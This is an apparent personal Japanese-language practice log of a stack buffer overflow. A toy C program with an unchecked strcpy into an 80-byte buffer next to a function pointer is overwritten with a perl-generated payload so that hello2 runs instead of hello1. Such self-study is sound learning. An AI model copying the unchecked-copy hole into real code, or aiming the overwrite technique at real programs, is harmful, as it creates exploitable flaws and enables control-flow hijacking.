まずはこのソースをコンパイル。
テスト環境はこれ
[masami@moon:~/dvl/test]% gcc -v Using built-in specs. Target: x86_64-linux-gnu Configured with: ../src/configure -v --enable-languages=c,c++,fortran,objc,obj-c++,treelang --prefix=/usr --enable-shared --with-system-zlib --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --enable-nls --with-gxx-include-dir=/usr/include/c++/4.2 --program-suffix=-4.2 --enable-clocale=gnu --enable-libstdcxx-debug --enable-objc-gc --enable-mpfr --disable-libmudflap --enable-checking=release --build=x86_64-linux-gnu --host=x86_64-linux-gnu --target=x86_64-linux-gnu Thread model: posix gcc version 4.2.3 (Debian 4.2.3-2)
これが対象のコード
// vuln1.c #include#include void hello2(void) { printf("hello world\n"); } void hello1(void) { printf("hello\n"); } int main(int argc, char **argv) { void (*f)(void) = hello1; char str[80]; int i = 0; printf("f is [%p] : str is [%p]\n", &f, str); strcpy(str, argv[1]); printf("f = 0x%016x\n", f); while(i++ < 5) f(); return 0; }
hello1からhello2に関数を変更したいのでhello2のアドレスを探す。
[masami@moon:~/dvl/test]% nm vuln1 | grep hello2 0000000000400538 T hello2
まずは試しに動かしてアドレスを確認(テスト用に入れたprintf()で確認)。
[masami@moon:~/dvl/test]% ./vuln1 1 f is [0x7fffad8c3060] : str is [0x7fffad8c3010] f = 0x0000000000400548 hello hello hello hello hello
strとfの差は80バイト。
それでは本番実行してみる。
./vuln1 `perl -e 'print "\x61"x80 . "\x38\x05\x40\x00\x00\x00\x00\x00;"'` f is [0x7fff3e475b80] : str is [0x7fff3e475b30] f = 0x0000000000400538 hello world hello world hello world hello world hello world
ほとんど一昨日のバッファオーバーフローの練習と同じ感じでできた。